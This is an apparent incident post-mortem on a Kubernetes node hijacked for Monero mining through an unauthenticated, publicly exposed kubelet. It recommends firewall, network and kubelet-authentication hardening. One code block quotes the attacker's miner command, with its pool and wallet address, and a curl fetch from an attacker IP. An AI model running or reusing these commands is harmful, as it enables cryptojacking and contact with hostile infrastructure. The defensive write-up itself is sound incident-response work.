How a Misconfigured Kubelet Led to a Crypto‑Mining Breach—and How to Prevent It

Invasion Phenomenon

During routine checks an abnormal process was discovered on a Kubernetes node, running a Monero mining command:

<code>./.system -o pool.supportxmr.com:3333 --donate-level=1 --coin=monero -u 46EPFzvnX5GH61ejkPpNcRNm8kVjs8oHS9VwCkKRCrJX27XEW2y1NPLfSa54DGHxqnKfzDUVW1jzBfekk3hrCVCm
curl -s http://45.9.148.35/scan_threads.dat</code>

The machine was being used for crypto mining.

Root Cause Investigation

Empty iptables

The host had no firewall rules, leaving it exposed.

Kubelet Exposure

Logs showed suspicious activity from the kubelet component, indicating that the kubelet API was reachable without authentication.

Misconfigured Kubelet Parameters

A startup configuration line for kubelet had been mistakenly commented out, disabling the restriction on anonymous access.

The relevant configuration file showed the anonymous access flag disabled.

Improvement Measures

Enforce host‑level firewall rules, default‑deny all ports and open only those required after manual verification.

Avoid assigning public IPs to internal nodes; keep them private to reduce exposure to internet scans.

Configure kubelet (and other services) to listen only on internal network interfaces instead of 0.0.0.0.

0.0.0.0

should be replaced with the node's private IP.

Disable anonymous access to kubelet and implement proper authentication/authorization mechanisms.

Adopt scripted, auditable procedures for production operations rather than manual commands to reduce human error.

Conclusion

The breach highlighted the critical importance of firewall hygiene, limiting exposed services, and securing kubelet access. By applying the above hardening steps, similar crypto‑mining intrusions can be prevented in Kubernetes clusters.